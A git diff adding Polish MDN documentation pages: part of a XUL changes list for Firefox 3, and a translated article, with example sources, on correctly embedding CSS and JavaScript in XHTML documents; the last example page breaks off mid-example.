+ <li>Nowa wartość, <code>number</code>, dla atrybutu <code>type</code> dla textboxes tworzy okienko tekstowe, w którym może zostać tylko wprowadzone cyfry. Dodatkowo, pojawiają się przyciski w kształcie strzałek z obu stron, co może zostać użyte do przemieszczania się pomiędzy wartościami. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Więcej informacji na temat numerycznych okienek tekstowych') }}({{ Bug(345510) }})</li>
+ <li>Element <code><a href="/pl/XUL/spinbuttons" title="pl/XUL/spinbuttons">&lt;spinbuttons&gt;</a></code> został dodany, który może zostać użyty przy tworzeniu gadżetów za pomocą wiązań XBL ({{ Bug(155053) }})</li>
+ <li>Dwa gadżety, <code><a href="/pl/XUL/datepicker" title="pl/XUL/datepicker">&lt;datepicker&gt;</a></code> i <code><a href="/pl/XUL/timepicker" title="pl/XUL/timepicker">&lt;timepicker&gt;</a></code>, mogą zostać użyte, aby zezwolić wprowadzenie dat i czasów. datepicker jest dostępny w licznych stylach poprzez ustawienie atrybutu <code>type</code>, aby zezwolić wpis okienek tekstowych lub siatki kalendarzowych. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Więcej informacji na temat date pickers') }} <a href="/pl/XUL/datepicker" title="pl/XUL/datepicker">Referencje dla Datepicker </a><a href="/pl/XUL/timepicker" title="pl/XUL/timepicker">Referencje dla Timepicker </a></li>
+ </ul>
+ </li>
+ <li>Stworzono przewodnik dla <a href="/pl/XUL/PopupGuide" title="pl/XUL/PopupGuide">menu i popup-ów</a> opisujący nowe dostępne funkcje:
+ <ul>
+ <li>Element <code><a href="/pl/XUL/dropmarker" title="pl/XUL/dropmarker">&lt;dropmarker&gt;</a></code> jest pomocny przy tworzeniu menu podobnych gadżetów za pomocą wiązań XBL. ({{ Bug(348614) }})</li>
+ <li>Element <code><a href="/pl/XUL/panel" title="pl/XUL/panel">&lt;panel&gt;</a></code> jest nowy i zaprojektowany dla popup-ów które nie znajdują się w menu. Mogą obsługiwać jakikolwiek typ zawartości. Element &lt;menupopup&gt; powinien być używany dla menu. Menu dają możliwość nawigacji klawiaturą i obsługują otwieranie i zamykanie podmenu.</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Poprawki_drzewek" name="Poprawki_drzewek">Poprawki drzewek</h3>
+
+<ul>
+ <li>Teraz drzewka mogą być skrolowane horyzontalnie. Jeżeli kolumny nie mieszczą się w dostępnej szerokości, pojawia się horyzontalny suwak skrolowania. Tak się dzieje, jeżeli określone szerokości kolumny zajmują więcej niż jest dostępnego miejsca. Zobacz {{ Bug(212789) }}, aby dowiedzieć się o szczegółach.</li>
+ <li>Nowy styl selekcjonowania pozwala na wybieranie pojedynczych komórek zamiast całych rzędów. Aby użyć tego stylu selekcjonowania, ustaw atrybut drzewek <code>seltype</code> do <code>cell</code>.</li>
+ <li>Teraz drzewka obsługują edytowanie pojedynczych komórek. Kiedy użytkownik podwójnie kliknie na edytowalną komórkę, pojawi się pole tekstowe, w którym użytkownik może edytować zawartość danej komórki. Zobacz {{ interwiki('wikimo', 'XUL:Tree', 'te notatki') }}, aby dowiedzieć się o szczegółach.</li>
+ <li>Teraz element &lt;treecol&gt; obsługuje atrybut <code>overflow</code>, którego wartość logiczna może być ustawiona na prawdę, aby zezwolić, gdy tekst jest za duży żeby zmieścić się w pojedynczej komórce, tekstowi komórek wewnątrz kolumny na rozszerzanie się na sąsiadujące puste komórki.</li>
+</ul>
+
+<h3 id="Poprawki_menu" name="Poprawki_menu">Poprawki menu</h3>
+
+<ul>
+ <li>The <code>image</code> attribute is now used consistently for setting images.</li>
+ <li>Menulists fire the <code>select</code> event when selecting an item.</li>
+ <li>The <code>inputField</code> and <code>editable</code> properties have been added to menulist</li>
+ <li>The <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> and <code>&lt;menuseparator&gt;</code> elements now have a readonly <code>selected</code> property which retrieves whether the item is selected in a &lt;menulist&gt;</li>
+ <li>The <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> and <code>&lt;menuseparator&gt;</code> elements now have a readonly <code>control</code> property which returns the enclosing &lt;menulist&gt;</li>
+ <li>The <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> and <code>&lt;menuseparator&gt;</code> elements now support the <code>accessKey</code>, <code>disabled</code>, <code>crop</code>, <code>image</code> and <code>label</code> properties which set the corresponding attribute</li>
+ <li>The &lt;menu&gt; element now has methods to append, insert and remove menuitems. ({{ Bug(372552) }})</li>
+ <li>Editable menulists now offer an <code>editor</code> property to get the internal {{ Interface("nsIEditor") }} for its text field.</li>
+ <li>Menus may now be made translucent on platforms that support it ({{ Bug(70798) }}).</li>
+</ul>
+
+<h3 id="Poprawki_textbox" name="Poprawki_textbox">Poprawki textbox</h3>
+
+<ul>
+ <li>Setting a <a href="/pl/XUL/textbox" title="pl/XUL/textbox">textbox</a>'s <code>spellcheck</code> attribute to <code>true</code> enables inline spellchecking for that textbox.</li>
+ <li>The <code>&lt;textbox&gt;</code> now has a <code>reset()</code> method to reset the value of the textbox to the default value. The <code>defaultValue</code> property may be used to retrieve and modify the default value of the textbox.</li>
+ <li>An <code>editor</code> property is now offered, which lets you get the internal {{ Interface("nsIEditor") }} for the text field.</li>
+ <li><code><a href="/pl/XUL/textbox" title="pl/XUL/textbox">textbox</a></code> now supports a <code>newlines</code> attribute which specifies how line breaks in pasted text are handled. Possible values are:
+ <ul>
+ <li><code>pasteintact</code> - paste everything as is</li>
+ <li><code>pastetofirst</code> - (default value) paste only up to the first line break</li>
+ <li><code>replacewithspaces</code> - replace line breaks with spaces</li>
+ <li><code>replacewithcommas</code> - replace line breaks with commas</li>
+ <li><code>strip</code> - strip out all line breaks</li>
+ <li><code>stripsurroundingwhitespace</code> - strip out all line breaks and surrounding whitespace</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Inne_poprawki" name="Inne_poprawki">Inne poprawki</h3>
+
+<ul>
+ <li>The <code>type</code> attribute on a <code>&lt;button&gt;</code> may be set to <code>repeat</code> to create buttons which fire their command event repeatedly while the mouse button is held down.</li>
+ <li>The <code><a href="/pl/XUL/Atrybut/buttondisabledaccept" title="pl/XUL/Atrybut/buttondisabledaccept">buttondisabledaccept</a></code> attribute can now be used on the <code>&lt;dialog&gt;</code> element to have the accept (OK) button initially disabled.</li>
+ <li>The <code>&lt;titlebar&gt;</code> element now supports the <code>allowevents</code> attribute to allow events to be passed to the children of the titlebar.</li>
+ <li>The <code>&lt;splitter&gt;</code> now supports an additional value for the <code>collapse</code> attribute of <code>'both'</code> which indicates that the splitter can collapse elements on both sides of it when dragged. The <code>substate</code> attribute will set to either before or after when one is collapsed. ({{ Bug(337955) }})</li>
+ <li>The <code>&lt;richlistbox&gt;</code> element now supports multiple selection. Set the <code>seltype</code> attribute to <code>'multiple'</code> to enable this.</li>
+ <li>The <code>&lt;radio&gt;</code> element has a <code>group</code> attribute which may be set to the id of a <code>&lt;radiogroup&gt;</code> element which the radio button belongs to. This allows the radio buttons to arranged in a manner that may not be as suitable when placing them all inside a radiogroup.</li>
+ <li>Menus, panels and tooltips support two additional methods, <code><a href="/pl/XUL/Metoda/openPopup" title="pl/XUL/Metoda/openPopup">openPopup()</a></code> and <code><a href="/pl/XUL/Metoda/openPopupAtScreen" title="pl/XUL/Metoda/openPopupAtScreen">openPopupAtScreen()</a></code>. These methods should be used instead of <code>showPopup()</code> which was found to be confusing to use.</li>
+ <li>Handling of the <code>&lt;key&gt;</code> element improved for non-Latin keyboard layout users. See <a href="/pl/Gecko_Keypress_Event" title="pl/Gecko_Keypress_Event">Gecko Keypress Event</a>.</li>
+ <li>On Mac OS X, the <a href="/pl/XUL/Atrybut/activetitlebarcolor" title="pl/XUL/Atrybut/activetitlebarcolor">activetitlebarcolor</a> and <a href="/pl/XUL/Atrybut/inactivetitlebarcolor" title="pl/XUL/Atrybut/inactivetitlebarcolor">inactivetitlebarcolor</a> attributes of the root elements (<code>&lt;window&gt;</code>, <code>&lt;dialog&gt;</code>, <code>&lt;prefwindow&gt;</code> and <code>&lt;wizard&gt;</code>) are available to customize the color of the windows' title bars.</li>
+</ul>
+
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+
+<ul>
+ <li><a href="/pl/XUL" title="pl/XUL">XUL</a></li>
+ <li><a href="/pl/Firefox_3_dla_programistów" title="pl/Firefox_3_dla_programistów">Firefox 3 dla programistów</a></li>
+</ul>
diff --git a/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/index.html b/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/index.html
new file mode 100644
index 0000000000..7655ea7e40
--- /dev/null
+++ b/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/index.html
@@ -0,0 +1,137 @@
+---
+title: Poprawne zastosowanie CSS i JavaScript w dokumentach XHTML
+slug: Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML
+tags:
+ - CSS
+ - JavaScript
+ - Programowanie_WWW
+ - Wszystkie_kategorie
+ - XHTML
+translation_of: Archive/Web/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents_
+---
+<p>
+</p><p><a class="external" href="http://www.w3.org/TR/xhtml1">XHTML™ 1.0 The Extensible HyperText Markup Language (Edycja Druga)</a> definiuje XHTML jako przeformułowanie standardu HTML 4 jako aplikacji XML 1.0.
+</p><p>XHTML szybko zastępuje HTML 4 w wielu przypadkach; jednakże, brak poprawnego wsparcia XHTML, połączone z brakiem zrozumienia podstawowych różnic pomiędzy HTML 4 i XHTML przez twórców stron internetowych, tworzy dziś coraz większy problem w Sieci.
+</p>
+<h3 id="XHTML_to_XML.2C_nie_HTML" name="XHTML_to_XML.2C_nie_HTML"> XHTML to XML, nie HTML </h3>
+<p>Jednym z głównych błędów jest uznanie języka XHTML kolejną wersją HTML-a. Na dodatek, błąd ten wyolbrzymiany jest przez fakt, iż Microsoft® Internet Explorer wspiera obsługę XHTML, ale tylko, jeśli dokument ma typ MIME &lt;tt&gt;text/html&lt;/tt&gt;, natomiast nie potrafi obsłużyć rekomendowanego typu &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;.
+</p><p>Kiedy strona XHTML posiada typ MIME &lt;tt&gt;text/html&lt;/tt&gt;, uznawana jest przez wszystkie przeglądarki jakby była niczym więcej niż stroną HTML. Jednakże, jeśli strona XHTML posiada MIME &lt;tt&gt;text/xml&lt;/tt&gt; lub &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;, musi ona być traktowana jako dokument XML który musi być zgodny ze ścisłymi standardami tworzenia i wyświetlania XML-a.
+</p><p>Poprawny dokument XHTML jest aplikacją XML i jako taki wymusza od autora do bycia zgodnym ze ścisłymi zasadami tworzenia XHTML-a, między innymi:
+</p>
+<ol><li> Surowe znaki &lt;tt&gt;&lt;&lt;/tt&gt; i &lt;tt&gt;&amp;&lt;/tt&gt; nie są dozwolone chyba, że są wewnątrz sekcji CDATA (&lt;tt&gt;<span class="nowiki">&lt;!CDATA[[ ... ]]&gt;</span>&lt;/tt&gt;).
+</li><li> Komentarze (&lt;tt&gt;&lt;!—— ... ——&gt;&lt;/tt&gt;) nie mogą zawierać podwójnych myślników (&lt;tt&gt;——&lt;/tt&gt;).
+</li><li> Zawartość wewnątrz komentarzy (&lt;tt&gt;&lt;!—— ... ——&gt;&lt;/tt&gt;) może być zignorowana.
+</li></ol>
+<h3 id="Problemy_z_tagami_style_i_script" name="Problemy_z_tagami_style_i_script"> Problemy z tagami &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt; </h3>
+<p>Wewnętrzne tagi &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt; mogą spowodować kilka różnych problemów w XHTML-u, jeśli jest on traktowany jako XML a nie HTML.
+</p>
+<h4 id="JavaScript_zawiera_znaki.2C_kt.C3.B3re_nie_mog.C4.85_istnie.C4.87_w_XHTML" name="JavaScript_zawiera_znaki.2C_kt.C3.B3re_nie_mog.C4.85_istnie.C4.87_w_XHTML"> JavaScript zawiera znaki, które nie mogą istnieć w XHTML </h4>
+<p>JavaScript zwykle zawiera znaki, które nie mogą istnieć w dokumencie XHTML poza sekcjami CDATA.
+</p>
+<pre class="eval">&lt;script type="text/javascript"&gt;
+ var i = 0;
+
+ while (++i &lt; 10)
+ {
+ // ...
+ }
+&lt;/script&gt;
+</pre>
+<p>Zauważ, iż ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Problem_1">przykład</a> jest <b>źle sformułowanym XHTML</b>, jako że zastosowanie surowego &lt; jest dozwolone tylko jako część znacznika XHTML lub XML.
+</p>
+<h4 id="Zastosowanie_komentarzy_wewn.C4.85trz_style_i_script" name="Zastosowanie_komentarzy_wewn.C4.85trz_style_i_script"> Zastosowanie komentarzy wewnątrz &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt; </h4>
+<p>Autorzy zaznajomieni z HTML często zamykają zawartość tagów &lt;tt&gt;style&lt;/tt&gt;i &lt;tt&gt;script&lt;/tt&gt; w komentarzach po to, aby schować ich zawartość przed przeglądarkami, które ich nie rozumieją.
+</p>
+<pre class="eval">&lt;style type="text/css"&gt;
+ &lt;!--
+ body {background-color: blue; color: yellow;}
+ --&gt;
+&lt;/style&gt;
+&lt;script type="text/javascript"&gt;
+ &lt;!--
+ var i = 0;
+ var sum = 0;
+
+ for (i = 0; i &lt; 10; ++i)
+ {
+ sum += i;
+ }
+ alert('sum = ' + sum);
+ // --&gt;
+&lt;/script&gt;
+</pre>
+<p>Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Problem_2">przykład</a> pokazuje, że przeglądarka wspierająca CSS i JavaScript może ignorować zawartość wewnątrz komentarzy. W dodatku, przykład ten pokazuje, jak różnice w obsłudze zawartości w &lt;tt&gt;text/xml&lt;/tt&gt; lub &lt;tt&gt;application/xhtml+xml&lt;/tt&gt; mogą powodować problemy.
+</p>
+<dl><dt> Mozilla 1.1+/Opera 7
+</dt><dd> Nie zastosuje CSS lub nie uruchomi JavaScript. </dd><dt> Netscape 7.0x/Mozilla 1.0.x
+</dt><dd> Nie zastosuje CSS, ale uruchomi JavaScript. </dd><dt> Internet Explorer 5.5+
+</dt><dd> Nie wyświetli dokumentu.
+</dd></dl>
+<h4 id="style_i_script_zawieraj.C4.85ce_podw.C3.B3jne_my.C5.9Blniki" name="style_i_script_zawieraj.C4.85ce_podw.C3.B3jne_my.C5.9Blniki"> &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt; zawierające podwójne myślniki </h4>
+<p>Kolejny <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Problem_3">problem</a> z użyciem komentarzy dookoła JavaScriptu w XHTML związany jest z problemami, które mogą wystąpić, jeśli komentarze zawierają podwójne myślniki (&lt;tt&gt;——&lt;/tt&gt;).
+</p>
+<pre class="eval">&lt;script type="text/javascript"&gt;
+&lt;!--
+ var i;
+ var sum = 0;
+
+ for (i = 10; i &gt; 0; --i)
+ {
+ sum += i;
+ }
+// --&gt;
+&lt;/script&gt;
+</pre>
+<h4 id="Zastosowanie_CDATA_zamiast_komentarzy" name="Zastosowanie_CDATA_zamiast_komentarzy"> Zastosowanie CDATA zamiast komentarzy </h4>
+<p>Poprawne zamknięcie zawartości skryptu wewnątrz sekcji CDATA może powodować problemy w starszych przeglądarkach, które nie obsługują XML. Jednakże, jest możliwe połączenie komentarzy JavaScriptu z sekcjami CDATA w celu kompatybilności wstecznej.
+</p>
+<pre class="eval">&lt;script type="text/javascript"&gt;
+ //&lt;![CDATA[
+ var i = 0;
+
+ while (++i &lt; 10)
+ {
+ // ...
+ }
+ //]]&gt;
+&lt;/script&gt;
+</pre>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach" name="Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach"> Zastosowanie CSS w wewnętrznym &lt;tt&gt;style&lt;/tt&gt; w komentarzach </h4>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_1">Przykład 1</a> - XHTML 1.0 Strict jako &lt;tt&gt;text/html&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_1">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;text/html&lt;/tt&gt; kiedy CSS zawarty jest wewnątrz dokumentu i otoczony jest komentarzami. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę, Operę 7 i Internet Explorera 5.5+, wszystkie podane przeglądarki zastosują CSS tak jak się tego spodziewano.
+</dd></dl>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_2">Przykład 2</a> - XHTML 1.0 Strict jako &lt;tt&gt;text/xml&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_2">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;text/xml&lt;/tt&gt;, kiedy CSS zawarty jest wewnątrz dokumentu i otoczony jest komentarzami. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę i Operę 7 ale <b>nie Internet Explorera 5.5+</b>. Zauważ iż, Netscape 7.x, Mozilla i Opera stwierdzają, że CSS wewnątrz komentarzy ma być ignorowany.
+</dd></dl>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_3">Przykład 3</a> - XHTML 1.0 Strict jako &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_3">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;application/xhtml+xml&lt;/tt&gt; kiedy CSS zawarty jest wewnątrz dokumentu i otoczony jest komentarzami. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę i Operę 7 ale <b>nie Internet Explorera 5.5+</b>. Zauważ, iż Netscape 7.x, Mozilla i Opera stwierdzają że CSS wewnątrz komentarzy ma być ignorowany.
+</dd></dl>
+<h4 id="Zastosowanie_CSS_w_zewn.C4.99trznym_pliku" name="Zastosowanie_CSS_w_zewn.C4.99trznym_pliku"> Zastosowanie CSS w zewnętrznym pliku </h4>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_4">Przykład 4</a> - XHTML 1.0 Strict jako &lt;tt&gt;text/html&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_4">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;text/html&lt;/tt&gt; kiedy CSS zawarty jest w zewnętrznym pliku. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę, Operę 7 i Internet Explorera 5.5+.
+</dd></dl>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_5">Przykład 5</a> - XHTML 1.0 Strict jako &lt;tt&gt;text/xml&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_5">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;text/xml&lt;/tt&gt;, kiedy CSS zawarty jest w zewnętrznym pliku. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę i Operę 7, ale <b>nie Internet Explorera 5.5+</b>.
+</dd></dl>
+<dl><dt> <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_6">Przykład 6</a> - XHTML 1.0 Strict as &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;
+</dt><dd> Ten <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%c5%82ady#Przyk.C5.82ad_6">przykład</a> obrazuje zachowanie XHTML podanego jako &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;, kiedy CSS zawarty jest w zewnętrznym pliku. Przykład ten jest wspomagany przez Netscape 7.x, Mozillę i Operę 7, ale <b>nie Internet Explorera 5.5+</b>.
+</dd></dl>
+<h3 id="Rekomendacje" name="Rekomendacje"> Rekomendacje </h3>
+<h4 id="Nie_u.C5.BCywa.C4.87_style_lub_script_wewn.C4.85trz_dokumentu_XHTML" name="Nie_u.C5.BCywa.C4.87_style_lub_script_wewn.C4.85trz_dokumentu_XHTML"> Nie używać &lt;tt&gt;style&lt;/tt&gt; lub &lt;tt&gt;script&lt;/tt&gt; wewnątrz dokumentu XHTML </h4>
+<p>Zastępowanie wewnętrznych &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt; plikami zewnętrznymi zawierającymi CSS i JavaScript jest najlepszym sposobem tworzenia dokumentów XHTML w sposób wstecznie kompatybilny i nie zepsuje się, jeśli typ MIME dokumentu zostanie zmieniony z &lt;tt&gt;text/html&lt;/tt&gt; na &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;.
+</p><p>Rekomendacja ta może wyglądać na zbyt zdecydowaną, jednakże jest ona stworzona z myślą zmniejszenia przyszłych problemów z zawartością XHTML kiedy zmiana z podawania XHTML jako &lt;tt&gt;text/html&lt;/tt&gt; na &lt;tt&gt;application/xhtml+xml&lt;/tt&gt; wydarzy się w przyszłych kilku latach.
+</p><p>Jeśli chcesz tylko sprawdzić Twój dokument XHTML jako &lt;tt&gt;text/html&lt;/tt&gt;, <i>możesz</i> wprowadzać problemy, takie jak opisane w tym artykule, bez uświadomiania tego sobie. Przenoszenie styli CSS i kodu JavaScript do oddzielnych plików jest <i>bezpiecznym</i> sposobem, z uwzględnieniem zmian w sposobie podania Twojego XHTML-a.
+</p>
+<h4 id="Pod.C4.85.C5.BCaj_za_Wskaz.C3.B3wkami_kompatybilno.C5.9Bci_XHTML_1.0_z_HTML" name="Pod.C4.85.C5.BCaj_za_Wskaz.C3.B3wkami_kompatybilno.C5.9Bci_XHTML_1.0_z_HTML"> Podążaj za Wskazówkami kompatybilności XHTML 1.0 z HTML </h4>
+<p>XHTML 1.0 <a class="external" href="http://www.w3.org/TR/xhtml1/#guidelines">Wskazówki kompatybilności</a> XHTML 1.0 z HTML pomagają tworzyć dokumenty XHTML wstecznie zgodne ze starszymi przeglądarkami nie rozumiejącymi XML.
+</p><p>Proszę zauważyć, iż dla "czystych" dokumentów XHTML, nie musisz używać instrukcji &lt;tt&gt;xml-stylesheet&lt;/tt&gt;, ale zamiast tego powinieneś użyć &lt;tt&gt;link&lt;/tt&gt;, aby wskazać zewnętrzne pliki zawierające CSS.
+</p>
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information"> Original Document Information </h3>
+<ul><li> Autor(zy): Bob Clary
+</li><li> Ostatnia data aktualizacji: 14 Marca 2003 (tłumaczenie: 13 sierpnia 2006)
+</li><li> Copyright © 2001-2003 Netscape.
+</li></ul>
+</div>
+{{ languages( { "en": "en/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents" } ) }}
diff --git a/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/przykłady/index.html b/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/przykłady/index.html
new file mode 100644
index 0000000000..89ff7d7057
--- /dev/null
+++ b/files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/przykłady/index.html
@@ -0,0 +1,416 @@
+---
+title: Przykłady
+slug: Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przykłady
+tags:
+ - CSS
+ - JavaScript
+ - Programowanie_WWW
+ - Wszystkie_kategorie
+ - XHTML
+translation_of: Archive/Web/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents_/Examples
+---
+<p>
+</p><p>Ta strona zawiera kody źródłowe przykładów związanych z artykułem "<a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML">Poprawne zastosowanie CSS i JavaScript w dokumentach XHTML</a>".
+</p><p>Proszę przejdź do <a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Przyk.C5.82ady">artykułu</a>, aby dowiedzieć się więcej na temat poniższych przykładów.
+</p><p>Jeśli chciałbyś przetestować te przykłady samodzielnie, przeczytaj <a href="#Wa.C5.BCne_uwagi">Ważne uwagi</a>.
+</p>
+<h3 id="Wa.C5.BCne_uwagi" name="Wa.C5.BCne_uwagi"> Ważne uwagi </h3>
+<p>Jeśli planujesz samodzielnie przetestować poniższe przykłady, musisz zastosować poprawne rozszerzenia (jest to napisane na początku danego kodu). Najlepiej wysłać te pliki na serwer WWW i gotowe.
+</p><p>Proszę zauważyć, że przykłady <a href="#Przyk.C5.82ad_4">4</a>, <a href="#Przyk.C5.82ad_5">5</a> oraz <a href="#Przyk.C5.82ad_6">6</a> wymagają, aby plik o nazwie <a href="#Arkusz_styl.C3.B3w">style.css</a> istniał w tym samym katalogu co dany przykład. Zawartość <a href="#Arkusz_styl.C3.B3w">style.css</a> znajduje się na dole tej strony.
+</p>
+<h3 id="Przyk.C5.82ady_dla_.22Problemy_z_tagami_style_i_script.22" name="Przyk.C5.82ady_dla_.22Problemy_z_tagami_style_i_script.22"> Przykłady dla "<a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Problemy_z_tagami_style_i_script">Problemy z tagami &lt;tt&gt;style&lt;/tt&gt; i &lt;tt&gt;script&lt;/tt&gt;</a>" </h3>
+<h4 id="Problem_1" name="Problem_1"> Problem 1 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xhtml
+ i wygeneruje on błąd przy próbie parsowania. --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Problem 1 - &amp;lt; w XHTML&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /&gt;
+ &lt;script type="text/javascript"&gt;
+ var i = 0;
+
+ while (++i &gt; 10)
+ {
+ // ...
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Problem 1 - &amp;lt; w XHTML&lt;/h1&gt;
+ &lt;p&gt;
+ Ten plik nie jest dobrze zbudowany ze względu na zastosowanie surowego &amp;lt;.
+ &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#JavaScript_zawiera_znaki.2C_kt.C3.B3re_nie_mog.C4.85_istnie.C4.87_w_XHTML">Powrót do artykułu</a>
+</p>
+<h4 id="Problem_2" name="Problem_2"> Problem 2 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xhtml --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Problem 2 - komentarze w XHTML&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /&gt;
+ &lt;style type="text/css"&gt;
+ &lt;!--
+ body {background-color: blue; color: yellow; }
+ --&gt;
+ &lt;/style&gt;
+ &lt;script type="text/javascript"&gt;
+ &lt;!--
+ var i = 0;
+ var sum = 0;
+
+ for (i = 0; i &lt; 10; ++i)
+ {
+ sum += i;
+ }
+ alert('sum = ' + sum);
+ // --&gt;
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Problem 2 - komentarze w XHTML&lt;/h1&gt;
+
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;application/xhtml+xml&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument zawiera wewnętrzny CSS, zawarty w elemencie
+ &lt;code&gt;style&lt;/code&gt; i otoczony przez komentarz
+ oraz JavaScript zawarty w elemencie &lt;code&gt;script&lt;/code&gt;
+ i otoczony przez komentarz.
+ &lt;/p&gt;
+
+ &lt;dl&gt;
+ &lt;dt&gt;Mozilla 1.1+/Opera 7&lt;/dt&gt;
+ &lt;dd&gt;Nie zastosuje CSS lub nie uruchomi JavaScript.&lt;/dd&gt;
